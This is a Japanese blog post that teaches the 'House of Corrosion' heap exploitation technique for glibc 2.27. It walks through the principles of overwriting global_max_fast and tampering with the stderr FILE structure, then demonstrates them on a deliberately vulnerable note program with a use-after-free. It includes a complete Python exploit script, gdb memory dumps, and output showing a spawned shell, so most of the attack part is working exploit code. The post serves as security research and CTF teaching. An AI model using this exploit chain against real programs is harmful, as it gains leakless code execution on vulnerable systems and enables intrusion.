はじめに
2019年に入ってからHouse of Corrosionというヒープ系exploitテクニックが公開されたのですが、全然文献が無いのでまとめようと思います。 結構使えると思うし元記事の考察もよく書かれているので個人的に好きな手法です。 ただ、説明が並んでいるだけでPoCとかは無さそうなので、実例を挙げつつ紹介します。
House of Corrosion
やることはglobal_max_fast
を書き換えた際にfastbin[i]にデータを書き込める原理を使おう、という話です。
■ 概要
House of CorrosionはGLIBCの2.27向けのヒープ系exploit手法です。
良い点
- シェルが取れる
- リークが不要(最後までlibc baseはいらない)
悪い点
- UAFが必要
- いい感じにmallocとかfreeできる
汚い点
- 4ビット分は運ゲー(序盤なので大して問題なし)
説明
House of CorrosionはHouse of Orangeと似ていますが、2.23から2.27の間に追加されたセキュリティ機構の下でも動きます。PIEとASLRが有効で、かつアドレスリークが無い場合にも使え、UAFで最低10バイト(8バイト+bkの下位2バイト)書き込めれたらOKです。やることは
- UAFで(4-bitは運で当てて)unsorted bin attackして
global_max_fast
を書き換える - stderrのFILEオブジェクトを改竄するためにheap Feng Shui, UAF, fastbin corruptionを上手く使う
- stderrに何か出力してシェルを取る
だけです ( >_<)b
■ 原理
まずはglobal_max_fast
を書き換えることでどうやって任意アドレスに任意データを書き込むかの説明です。個人的にこれだけでも便利なので(fastbin, tcacheサイズのチャンクが確保できないときとか)覚えておくと良いと思います。
原理1
global_max_fast
をunsorted bin attackで改竄すると巨大なチャンクもfastbinに入るわけですが、もちろんmain_arena
にはそんな巨大な配列は用意されていません。実際に大きなチャンクをfreeすると(今の場合はfastbinが使われるので)fastbinを超えてbinsとかもっと後ろの場所にアドレスが書き込まれるわけです。このときの計算式は次のように表せます。
chunk size = (delta * 2) + 0x20
たとえば&main_arena->fastbin
から0x1000バイト先をいじりたい場合、チャンクサイズが0x8200x2020(=0x1000*2+0x20)のチャンクをfreeすれば良いわけです。
(サイズが間違えていました。道路さんご指摘ありがとうございます。)
ここで_int_free
には次のようなチェックがあります。
/* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been allocated again. */ if (have_lock && old != NULL && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) malloc_printerr ("invalid fastbin entry (free)");
が、__libc_free
はhave_lock
を0にして_int_free
を呼び出すのでチェックされません。(は?)
原理2
原理1で、適当なサイズのチャンクをfreeすることでfastbin+8*i
みたいな場所にfreeしたチャンクのアドレスを書き込めました。次に任意の値をfastbin+8*i
に書き込む方法を考えます。これは単純で、UAF(やHeap Overflow)を利用してfreeしたチャンクのfd
をfd'
に書き換えると、fastbinのリンクも書き換わります。その状態で同じサイズのチャンクを1回mallocすると、fastbin+8*i
にfd'
が書き込まれることが分かるでしょう。
原理3
原理2では任意の値をfastbin[i]に書き込みました。次に任意のアドレス(fastbin[j]で表せる範囲)にある値をfastbin+8*i
に書き込む方法も考えます。
(原理1で説明したように)先程のfastbin+8*i
(以降dstと表記)に繋がるようなサイズの2つのチャンクAとBを用意します。まずチャンクB, Aの順にfreeします。fastbin(dst)は次のようになります。
dst --> A --> B --> ?
UAF(やHeap Overflow)を使い、Aの最下位バイトをAを指すように書き換えます。
dst --> A --> A --> A --> ...
※AやBのサイズは巨大でAの最下位バイトを書き換えるだけではBからAに変えられません。そのため、UAF等を使ってAとBが近いアドレスになるようにあらかじめ普通のfastbin corruptionをしておきましょう。さらにこの時fastbinのサイズチェックに引っかからないように次のチャンクのサイズヘッダ的なものを適当に用意しておくことにも注意してください。(元記事では"safe" valueと呼ばれています。)
とりあえずここまででdouble freeの状況が作れました。(というかdouble freeが無い前提でお話していました。) もう一度Aと同じサイズのチャンクをmallocすると、Aのアドレスを手元に確保しつつ、dstにはAのアドレスが入っている状況になりました。
dst --> A --> A --> ... 手札:A
ここでUAFを使い、値を持ってきたい元のアドレスfastbin+8*j
(以降srcと表記)に繋がるようにAのチャンクサイズを変更します。この状態で手札のAをfreeすると、fastbin(src)にAが繋がります。このときもともとsrcに欲しい値があったので、Aに欲しい値(以降valueと表記)が繋がることに注意してください。
src --> A --> value dst --> A --> value
さらにUAFを使ってAのチャンクサイズをdstに入るようなサイズに戻します。(mallocした時にabortしないように。) ここでdstサイズのチャンクをmallocすると、srcにあったvalueがdstに移植されることが分かるでしょう。
src --> A --> value dst --> value 手札:A
なお、2つ前のsrcとdstにそれぞれA-->value
が繋がった状態で(UAFで)Aを変更することで、valueを部分的に変更できます。
例えばsrcにあるlibcのどこかのアドレスの下位2バイトを変更して好きな場所に繋げる、といったことが可能になります。
このように途中でvalueの一部分を変更することを元記事では"tamper in-flight"と呼んでいます。
■ シェルが起動する仕組み
ここまででも十分便利そうですが、欲しいのはシェルです。House of Corrosionのおいしい点はアドレスリークが無くても良いという点です。ここまでで説明した原理を使ってシェルを取るまでの流れを説明します。
Stage 1: Heap Feng Shui
Feng Shuiっていうのはpwn分野では初めて聞いたので開発者のオリジナルだと思うのですが、拼音は風水で、元記事では最初に上手いことチャンクをオーバーラップするなど、最初にいい感じにしておく手順を指して使われているようです。 (【追記】昔からあるpwn用語だそうです。Heap feng shui)
Heap Feng Shui(Stage 1)でやっておくことは次の5つです。(順番はどうでもいい)
- ヒープ上に偽のチャンクサイズを置いておき、あとで怒られないようにする。("safe" values)
- (UAFの場合は)チャンクサイズを改竄できるように上手いこと操作しておく。
- チャンクをlargebinに入れてサイズを改竄する。
- unsorted bin attack用のチャンクをmallocする。
- 原理1&2で使う用のチャンクをmallocする。
これで風水的に良いヒープの状態になります。
1と2は良いでしょう。3はサイズ0x420以上のチャンクをfreeしてunsorted binにつなぎ、さらにサイズ0x420以上のチャンクをmallocし、largebinに入ったところでそのチャンクのサイズのNON_MAIN_ARENA
ビットを立てておきます。これは最後のStageで使うので理由は後で説明します。
4つ目も問題ないでしょう。5つ目は次のStageで使う用のチャンクなので、いろんなサイズのチャンクをmallocしておく必要があります。基本的に0x3b00バイト以内のmallocがあれば問題ないらしいです。細かいサイズはあとで例を挙げて説明します。
Stage 2: Unsorted bin attack
global_max_fast
を書き換えましょう。この際4ビットの運ゲーがあります。(正確には1/16よりやや低い確率。)
Stage 3: Fake unsorted chunk
Stage 5で_int_malloc
中のassertにわざと引っかかる必要があります。詳しくは後述しますが、ここではunsorted bin attackの後にunsorted binのbkが指すアドレスにある(ヒープ上ではない)チャンク用にサイズとbkを作る必要があります。こいつのサイズはdumped_main_arena_start
と被っており、bkフィールドはpedantic
と被っています。Stage 1でNON_MAIN_ARENA
を立てたチャンクと同じサイズに(原理2で)設定し、bkはどこか書き込み可能なアドレスに(原理1で)しておきましょう。
Stage 4: stderrの改竄
ここが一番大変なステップです。といってもやることは、原理3を用いてstderrを使ったFILE Stream Exploitをするだけです。これ自体はいくつか方法があり、代表的なものは普通にstdoutを使う方法や、exitを呼び出す方法などですが、ここではプログラム中でstderrもstdoutも使われておらず(leakless)、かつexitも呼び出せないという最悪の状態を考えます。
libc-2.27を対象にしているので、stderrを改竄した後に_IO_str_overflow
を呼び出すことを目標にします。
※原理3を使うと一時的にvtableが不正なアドレスになり、_IO_str_overflow
に到達するまでにクラッシュしてしまいます。そのため、stderrやstdout(対象とするFILE stream)が使われている場合は_mode
を1に設定しておくことで出力系が全部失敗するので問題なしです(^o^)b
ということで、ここから原理2&3を使って書き換える値について説明します。
_flags
まずはstderrの_flags
を0にしましょう。理由は以下の2つです。
_IO_str_overflow
で確実に呼び出し処理まで到達させるため- libc-2.27で御用達のone gadgetの1つであるrcx == NULLを満たすため
_IO_str_overflow
にはif (fp->_flags & _IO_NO_WRITES)
みたいな処理がいくつかあるので、それでreturnしないようにします。また、よく目にするけど使いどころがいまいちなかったrcx == NULLのone gadgetを今回は使います。_IO_str_overflow
の中で_flags
からrcxに値がコピーされるらしいです。
_mode
元記事には書いていませんが、前述したようにstreamが使われている場合は1にしましょう。(leakがあるなら普通にwrite ptrを改竄しろという話ですが、とりあえずリモートに流れてこない前提で。)
_IO_write_ptr
これは大きな値にしておきます。_IO_write_base
と_IO_write_ptr
の間の差が大きくないとダメだからです。どのくらい大きいかというと_IO_buf_base
と_IO_buf_end
の差より大きければOKです。(flush_onlyが0なので。)この辺はこっちの記事で真面目に説明したので割愛。stderrが使われていて_IO_write_base
が大きい値になっているときは0にすれば良いと思います。(試してないから怪しいけど。)
_IO_buf_base
最終的には_IO_str_overflow
にlibc中のcall rax
gadgetを呼ばせるのですが、その際raxがone gadgetになっている必要があります。このときのraxは_IO_buf_base
と_IO_buf_end
の差になるので、_IO_buf_base
にone gadgetのアドレスを入れることになります。もちろんone gadgetのアドレスは存在しないので、原理3を使います。具体的には、__default_morecore()
関数のアドレスが__morecore
に置かれているので、原理3でそいつを_IO_buf_end
に移します。そして原理2を使って_IO_buf_base
の下位バイトを書き換えてone gadgetのアドレスに持っていきます。(unsorted bin attackが成功した時点で下から2バイト目の上位4ビットは分かっているのでここは運ゲーにならない。)
あとで気づいたのですが、_IO_buf_end
を__default_morecore
のアドレスにするので_IO_buf_base
は__default_morecore
とone gadgetの差にしなくてはなりません。ということで原理3は次の_IO_buf_end
に使い、ここでは原理2を使います。
pwndbg> x/4xg 0x7ffff79e4000 + 0x4f2c5 0x7ffff7a332c5 <do_system+1045>: 0x310039e3d4358d48 0x894c00000002bfd2 0x7ffff7a332d5 <do_system+1061>: 0x08244c8948502464 0x000000582444c748 pwndbg> x/4xg &__default_morecore 0x7ffff7a7f190 <__GI___default_morecore>: 0x07b387e808ec8348 0x834800000000ba00 0x7ffff7a7f1a0 <__GI___default_morecore+16>: 0x8348c2440f48fff8 0x0000441f0fc308c4
今回使うlibc-2.27では__default_morecore
の方が0x04becb進んでいるので、_IO_buf_base
を0x04becbに設定すればraxはone gadgetのアドレスになります。
_IO_buf_end
0でいいのでは?元記事ではなぜか頑なにlibcのアドレスを入れようとしている。
よく見たら
if (new_size < old_blen) return EOF;
というチェックがありますね。知らなかったです。
_IO_buf_end
が0だとnew_size = old_blen * 2 + 100
が負になってダメ判定になるのかな。
とりあえずこいつも__default_morecore
から頂いておきましょう。
ここにlibcのアドレスが入っていることで_IO_buf_base
には差分だけ入れておけばOKです。
vtable
_IO_str_overflow
が呼ばれないことには始まらないのでvtableを_IO_str_jumps
に書き換える必要がります。(こっちの記事を参照。)ここでは原理2を使います。もともとvtableには_IO_file_jumps
が入っているので、_IO_file_jumps
に繋がるサイズのチャンクをfreeし、UAFで下位2バイトを書き換えればfdを_IO_str_jumps
に繋げられます。この際stderrのvtableが破壊されるので、stderrが出力される場合は_mode
を1にすればOKです。
_s._allocate_buffer
ここまでを正しく設定できれば、_IO_str_overflow
でfp->_s._allocate_buffer
が発火します。こいつはstderrの先頭から0xe0先(vtableの直後)にあります。この場所はstdoutの先頭と被っていますが、そういう仕様らしいです。stdoutが使われている場合は前述したようにstdoutの_mode
を1にしておけばstdoutが虚無になって何とかなります。(シェルはspawnするのでそっちが虚無になることはない。)
ここでは先程使った__default_morecore()
のアドレスを_IO_buf_end
から引っ張ることで1回分mallocが少なく済みます。__default_morecore()
周辺にcall rax
があるかという話ですが、とりあえず対象としている(Ubuntu 18.04 LTS)のlibc-2.27には20個ほどあるらしいです。ちなみにjmp rax
じゃなくてcall rax
な理由はalignされていないとmovapsで死ぬからです。
Stage 5: Force stderr activity
あとはstderrに何か吐き出せばシェルが取れますね。今回はstdoutもstderrも使われていない場合を想定していますが、libcの中にはstderrを使ってくれる場所があります。abortは_IO_flush_all_lockp
を呼ばなくなりましたし、malloc_printerr
もwriteしてるだけという悲しい変更が加わっていますが、assertは裏切りません。Stage 1でNON_MAIN_ARENA
フラグを立てたのですが、それがここで役に立ちます。
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
mallocでlargebinから引っ張るときのassertですが、こいつが失敗するのでstderrが使われます。本来なら__xsputn
が呼ばれますが、vtableを改竄したので_IO_str_oveflow
が呼ばれます。
ちなみにassertの中はこんな感じでstderrをflushしています。
(void) __fxprintf (NULL, "%s", str); (void) fflush (stderr);
えらい。 あとはここまでの積み重ねでシェルが起動するという感じです。
■ 考察
元記事に書いてあったりなかったりすることを考察します。
__free_hookに直接書き込めないのか
解説を読んでくださった方も途中で気づいたかもしれないのですが、in-flightな書き込みでglibcのアドレスをsystemとかone gadgetに変更して__free_hook
に直接入れれば良いんじゃね?って話です。
しかしよく考えたら、原理3の利用中に__free_hook
がヒープのアドレスなどに書き換わるので、原理3中で使うfreeが失敗して死にます。__malloc_hook
も同じです。
バイナリ中でmallocと独立にreallocなどが使われていたらそれは使えると思います。
なぜcall raxなのか
シェルを取るために__IO_str_overflow
からcall rax
を呼びました。これは__default_morecore
の近くにone gadgetが無いからです。
なぜjmp rax
じゃないかというと、movupsではなくmovapsを使っているからです。callを使うと良い具合にスタックがalignされるんですね。
検証
とりあえずstdoutもstderrも使わないバイナリを用意しました。
https://bitbucket.org/ptr-yudai/house-of-corrosion/src/master/
mallocできるサイズは0x7fffffffまでなので、House of Rabbitも使えません。(というか既知アドレスが無い時点で無理か。)UAFがありますが、解説したような「つらい状況」を作りました。
#include <stdlib.h> #include <string.h> #include <unistd.h> #define MAX_NOTE 0x40 typedef struct { char *ptr; int size; char is_used; } Note; Note note[MAX_NOTE] = { NULL }; void readline(char *buf, int size) { if (read(0, buf, size) == 0) _exit(0); } int read_int(void) { char buf[0x20]; memset(buf, 0, 0x20); readline(buf, 0x1f); return atoi(buf); } void add(void) { int index = read_int(); int size = read_int(); if (index < 0 || index >= MAX_NOTE) return; if (size < 0) return; if (note[index].is_used == 0) { note[index].ptr = (char*)malloc(size); note[index].size = size; note[index].is_used = 1; } } void edit(void) { int index = read_int(); if (index < 0 || index >= MAX_NOTE) return; if (read(0, note[index].ptr, note[index].size) == 0) _exit(0); } void delete(void) { int index = read_int(); if (index < 0 || index >= MAX_NOTE) return; if (note[index].is_used == 1) { free(note[index].ptr); note[index].is_used = 0; } } int main(void) { while(1) { int choice = read_int(); switch(choice) { case 1: add(); break; case 2: edit(); break; case 3: delete(); break; } } return 0; }
Stage 1
まずは下ごしらえ。とりあえずunsorted bin attack用のチャンクと、NON_MAIN_ARENAを後で1にするチャンクを用意します。
# chunk for unsortedbin attack add(0, 0x420) # chunk with NON_MAIN_ARENA set to 1 add(3, 0x420) add(1, 0x420) delete(1) delete(3) add(3, 0x430) add(2, 0x430)
やるだけなので詳細は割愛。 あとはfastbinで使う場所を押さえておく必要があります。解説で使ったアドレスをまとめると、次の場所に向けてチャンクを押さえる必要があります。
dumped_main_arena_start
: 0x7ffff7dd1938 - 0x7ffff7dcfc50pedantic
: 0x7ffff7dd1948 - 0x7ffff7dcfc50__morecore
: 0x7ffff7dd04d8 - 0x7ffff7dcfc50_IO_2_1_stderr_+0x00
: 0x7ffff7dd0680 - 0x7ffff7dcfc50_IO_2_1_stderr_+0x28
: 0x7ffff7dd0680 + 0x28 - 0x7ffff7dcfc50_IO_2_1_stderr_+0x38
: 0x7ffff7dd0680 + 0x38 - 0x7ffff7dcfc50_IO_2_1_stderr_+0x40
: 0x7ffff7dd0680 + 0x40 - 0x7ffff7dcfc50_IO_2_1_stderr_+0xd8
: 0x7ffff7dd0680 + 0xd8 - 0x7ffff7dcfc50_IO_2_1_stderr_+0xe0
: 0x7ffff7dd0680 + 0xe0 - 0x7ffff7dcfc50
offsetからmallocすべきサイズに変換してくれる関数を作っておきます。 また、原理3に向けて2つのチャンクAとBを近いアドレスに配置する関数overlapも用意します。
def offset2size(offset): assert offset % 8 == 0 return (offset * 2) + 0x10 def overlap(A, B, tmp1, tmp2, size, pos): add(tmp1, 0x40) add(A, 0x10) add(B, 0x10) add(tmp2, 0x40) delete(tmp1) delete(tmp2) edit(tmp2, pos) add(tmp1, 0x40) add(tmp2, 0x40) payload = p64(0) + p64((size+0x10) | 1) payload += b'A' * 8 payload += p64(0) + p64((size+0x10) | 1) edit(tmp2, payload) return ## prepare add(4, size_pedantic) add(5, size_dumped_main_arena_start) add(6, size_flags) add(7, size_write_ptr) add(8, size_buf_base) add(13, size_vtable) overlap(9, 10, 11, 12, size_buf_end, b'\xc0') overlap(14, 15, 16, 17, size_s_alloc, b'\xa0')
原理1&2はUAFで直接書き換えられるので、overlapする必要があるのは原理3を使うものだけです。 unsorted bin attack後にBとAを順次freeすればfdに入るアドレスはB≒Aになります。 また、fastbinでfreeすると次のチャンクのサイズを調べられるので、次のように偽のチャンクを置いておきましょう。
payload = p64(0) + p64(0x21) payload *= 0x200 add(18, len(payload)) edit(18, payload)
後で__morecore
とかに合わせるのも面倒なので全部サイズっぽくしておきました。
最後にchunk 2をfreeしてlargebinにつなぎ、NON_MAIN_ARENA
フラグを立てます。
# link to largebin and set NON_MAIN_ARENA delete(2) edit(1, p64(0) + p64(0x440 | 0b101)) # set 2's NON_MAIN_ARENA to 1
gdbでlargebinとチャンクの様子を見ます。
pwndbg> largebins largebins 0x1400: 0x555555756ac0 —▸ 0x7ffff7dd02e0 (main_arena+1696) ◂— 0x555555756ac0 pwndbg> x/6xg 0x555555756ac0 0x555555756ac0: 0x0000000000000000 0x0000000000001445 0x555555756ad0: 0x00007ffff7dd02e0 0x00007ffff7dd02e0 0x555555756ae0: 0x0000555555756ac0 0x0000555555756ac0
ヨシ!
Stage 2
これはやるだけ。 guessは4ビットって言ったんですがASLR切るとちょうど嫌な場所に当たるんですよねー。いっつも迷惑してるんですがこれ何とかならないんですか?
delete(0) edit(0, p64(0) + b'\x30\x19\xdd') # edit(0, p64(0) + b'\x30\x29') add(0, 0x420)
一応確認しておきます。
pwndbg> x/4xg &global_max_fast 0x7ffff7dd1940 <global_max_fast>: 0x00007ffff7dcfca0 0x0000000000000000 0x7ffff7dd1950 <root>: 0x0000000000000000 0x0000000000000000
ヨシ!
Stage 3
原理1と2を使います。今回unsorted bin attack用のチャンクサイズは0x430なので、dumped_main_arena_start
には0x440を入れておきましょう。
また、pedantic
は普通にfreeすれば書き込み可能アドレスが入るのでOKです。
# write 0x440 to dumped_main_arena_end delete(5) edit(5, p64(0x440)) add(5, size_dumped_main_arena_start) # set pedantic to writable pointer delete(4) # free for pedantic
確認します。
pwndbg4xg 0x7ffff7dd1930 0x7ffff7dd1930 <dumped_main_arena_end>: 0x0000000000000000 0x0000000000000440 0x7ffff7dd1940 <global_max_fast>: 0x00007ffff7dcfca0 0x0000555555756f00
ヨシ!
Stage 4
Stage 4はやることが多すぎますが、地道に1つずつ潰していきましょう。今回は_mode
を書き換える必要はありません。
まずは_IO_2_1_stderr_
の初期状態を確認します。
pwndbg> x/16xg &_IO_2_1_stderr_ 0x7ffff7dd0680 <_IO_2_1_stderr_>: 0x00000000fbad2084 0x0000000000000000 0x7ffff7dd0690 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06a0 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06b0 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06c0 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06d0 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06e0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007ffff7dd0760 0x7ffff7dd06f0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
まぁ使ってないのでそうですね、という感じです。 とりあえず原理1と2を使うものは簡単なので先にやります。
# write 0 to _flags delete(6) edit(6, p64(0)) add(6, size_flags) # write large value to _IO_write_ptr delete(7) edit(7, p64(0x7fffffffffffffff)) add(7, size_write_ptr) # write offset to _IO_buf_base offset = 0x7ffff7a7f190 - 0x7ffff7a332c5 # __default_morecore - one gadget delete(8) edit(8, p64(offset)) add(8, size_buf_base)
確認します。
pwndbg> x/16xg &_IO_2_1_stderr_ 0x7ffff7dd0680 <_IO_2_1_stderr_>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd0690 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06a0 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x7fffffffffffffff 0x7ffff7dd06b0 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x000000000004becb 0x7ffff7dd06c0 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06d0 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06e0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007ffff7dd0760 0x7ffff7dd06f0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
ヨシ!
_s._allocate_buffer
に書き込むcall rax
は\xff\xd0
なので__default_morecore
周辺を探しておきましょう。
pwndbg> find /2b 0x7ffff7a70000, 0x7ffff7a7ffff, 0xff,0xd0 0x7ffff7a71610 <__GI__IO_un_link+80> 0x7ffff7a717d7 <__GI__IO_un_link+535> 2 patterns found. pwndbg> x/1i 0x7ffff7a71610 0x7ffff7a71610 <__GI__IO_un_link+80>: call rax
gadgetが20個存在するとは......?
とにかく次に原理3を使って_IO_buf_end
, _s._allocate_buffer
を改竄し、また原理2でvtable
を_IO_str_jumps
に向けます。
# write &__default_morecore to _IO_buf_end delete(10) delete(9) edit(9, b'\xc0') add(9, size_buf_end) edit(12, p64(0) + p64((size_morecore+0x10) | 1)) delete(9) edit(12, p64(0) + p64((size_buf_end+0x10) | 1)) add(9, size_buf_end) edit(12, p64(0) + p64((size_morecore+0x10) | 1)) add(10, size_morecore) # pop back __default_morecore # write &_IO_str_jumps to vtable delete(13) edit(13, b'\x60\xc3') # edit(13, b'\x60\xd3') add(13, size_vtable) # write call rax gadget to _s._allocate_buffer delete(15) delete(14) edit(14, b'\xa0') add(14, size_s_alloc) edit(17, p64(0) + p64((size_morecore+0x10) | 1)) delete(14) edit(17, p64(0) + p64((size_s_alloc+0x10) | 1)) edit(14, b'\x10\x16') # edit(14, b'\x10\x17') add(14, size_s_alloc)
確認してみましょう。
pwndbg> x/32xg &_IO_2_1_stderr_ 0x7ffff7dd0680 <_IO_2_1_stderr_>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd0690 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06a0 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x7fffffffffffffff 0x7ffff7dd06b0 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x000000000004becb 0x7ffff7dd06c0 <_IO_2_1_stderr_+64>: 0x00007ffff7a7f190 0x0000000000000000 0x7ffff7dd06d0 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd06e0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007ffff7dd0760 0x7ffff7dd06f0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff 0x7ffff7dd0700 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007ffff7dd18b0 0x7ffff7dd0710 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000 0x7ffff7dd0720 <_IO_2_1_stderr_+160>: 0x00007ffff7dcf780 0x0000000000000000 0x7ffff7dd0730 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd0740 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd0750 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007ffff7dcc360 0x7ffff7dd0760 <_IO_2_1_stdout_>: 0x00007ffff7a71610 0x0000000000000000 0x7ffff7dd0770 <_IO_2_1_stdout_+16>: 0x0000000000000000 0x0000000000000000 pwndbg> x/1xg 0x00007ffff7a7f190 0x7ffff7a7f190 <__GI___default_morecore>: 0x07b387e808ec8348 pwndbg> x/1i 0x00007ffff7a71610 0x7ffff7a71610 <__GI__IO_un_link+80>: call rax pwndbg> x/1xg 0x00007ffff7dcc360 0x7ffff7dcc360 <_IO_str_jumps>: 0x0000000000000000
ええやん。
Stage 5
heap問にはよくexit選択肢が存在しますが、今回は存在しないので明示的にexitを呼べません。したがって、stderrにassertで出力してやる必要があります。 いま先頭のunsorted binにはStage 3で偽装した適切なサイズとbkが入っています。そこでunsorted binを使うようなmallocが来たらassertが発生するはずです。 unsorted binを使わせるにはfastbinが空のチャンクを使う必要があります。 ここでしばらく詰まったのですが、普通に(fastbinが空の)小さいチャンクをmallocすればlargebinのチェックに入るのでassertが発動してone gadgetが発火します。
add(19, 0x30)
全体像
ということで全体のexploitコードはこんな感じになりました。
from ptrlib import * from time import sleep WAIT = 0.01 def add(index, size): sock.sendline("1") sleep(WAIT) sock.sendline(str(index)) sleep(WAIT) sock.sendline(str(size)) sleep(WAIT) return def edit(index, data): sock.sendline("2") sleep(WAIT) sock.sendline(str(index)) sleep(WAIT) sock.send(data) sleep(WAIT) return def delete(index): sock.sendline("3") sleep(WAIT) sock.sendline(str(index)) sleep(WAIT) return def offset2size(offset): assert offset % 8 == 0 return (offset * 2) + 0x10 def overlap(A, B, tmp1, tmp2, size, pos): add(tmp1, 0x40) add(A, 0x10) add(B, 0x10) add(tmp2, 0x40) delete(tmp1) delete(tmp2) edit(tmp2, pos) add(tmp1, 0x40) add(tmp2, 0x40) payload = p64(0) + p64((size+0x10) | 1) payload += b'A' * 0x10 payload += p64(0) + p64((size+0x10) | 1) edit(tmp2, payload) return sock = Process("../distfiles/chall") size_dumped_main_arena_start = offset2size(0x7ffff7dd1938 - 0x7ffff7dcfc50) size_pedantic = offset2size(0x7ffff7dd1948 - 0x7ffff7dcfc50) size_morecore = offset2size(0x7ffff7dd04d8 - 0x7ffff7dcfc50) size_flags = offset2size(0x7ffff7dd0680 - 0x7ffff7dcfc50) size_write_ptr = offset2size(0x7ffff7dd0680 + 0x28 - 0x7ffff7dcfc50) size_buf_base = offset2size(0x7ffff7dd0680 + 0x38 - 0x7ffff7dcfc50) size_buf_end = offset2size(0x7ffff7dd0680 + 0x40 - 0x7ffff7dcfc50) size_vtable = offset2size(0x7ffff7dd0680 + 0xd8 - 0x7ffff7dcfc50) size_s_alloc = offset2size(0x7ffff7dd0680 + 0xe0 - 0x7ffff7dcfc50) """ Stage 1: heap Feng Shui """ # chunk for unsortedbin attack add(0, 0x420) # chunk for largebin add(3, 0x420) add(1, 0x420) delete(1) delete(3) add(3, 0x430) add(2, 0x430) ## prepare add(4, size_pedantic) add(5, size_dumped_main_arena_start) add(6, size_flags) add(7, size_write_ptr) add(8, size_buf_base) add(13, size_vtable) overlap(9, 10, 11, 12, size_buf_end, b'\xc0') overlap(14, 15, 16, 17, size_s_alloc, b'\xa0') payload = p64(0) + p64(0x21) payload *= 0x200 add(18, len(payload)) edit(18, payload) # link to largebin and set NON_MAIN_ARENA delete(2) edit(1, p64(0) + p64(0x440 | 0b101)) # set 2's NON_MAIN_ARENA to 1 """ Stage 2: unsortedbin attack """ delete(0) edit(0, p64(0) + b'\x30\x19\xdd') # edit(0, p64(0) + b'\x30\x29') add(0, 0x420) """ Stage 3: fake unsortedbin """ # write 0x440 to dumped_main_arena_end delete(5) edit(5, p64(0x440)) add(5, size_dumped_main_arena_start) # set pedantic to writable pointer delete(4) # free for pedantic """ Stage 4: tampering stderr """ # write 0 to _flags delete(6) edit(6, p64(0)) add(6, size_flags) # write large value to _IO_write_ptr delete(7) edit(7, p64(0x7fffffffffffffff)) add(7, size_write_ptr) # write offset to _IO_buf_base offset = 0x7ffff7a7f190 - 0x7ffff7a332c5 # __default_morecore - one gadget delete(8) edit(8, p64(offset)) add(8, size_buf_base) # write &__default_morecore to _IO_buf_end delete(10) delete(9) edit(9, b'\xc0') add(9, size_buf_end) edit(12, p64(0) + p64((size_morecore+0x10) | 1)) delete(9) edit(12, p64(0) + p64((size_buf_end+0x10) | 1)) add(9, size_buf_end) edit(12, p64(0) + p64((size_morecore+0x10) | 1)) add(10, size_morecore) # pop back __default_morecore # write &_IO_str_jumps to vtable delete(13) edit(13, b'\x60\xc3') # edit(13, b'\x60\xd3') add(13, size_vtable) # write call rax gadget to _s._allocate_buffer delete(15) delete(14) edit(14, b'\xa0') add(14, size_s_alloc) edit(17, p64(0) + p64((size_morecore+0x10) | 1)) delete(14) edit(17, p64(0) + p64((size_s_alloc+0x10) | 1)) edit(14, b'\x10\x16') # edit(14, b'\x10\x17') add(14, size_s_alloc) """ Stage 5: force stderr activity """ add(19, 0x30) sock.interactive()
いぇい v(^^)v
$ python solve.py [+] __init__: Successfully created new process (PID=16250) [ptrlib]$ id uid=1000(ptr) gid=1000(ptr) groups=1000(ptr),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),999(docker) [ptrlib]$
参考文献
記事は本家しか見つかりませんでした。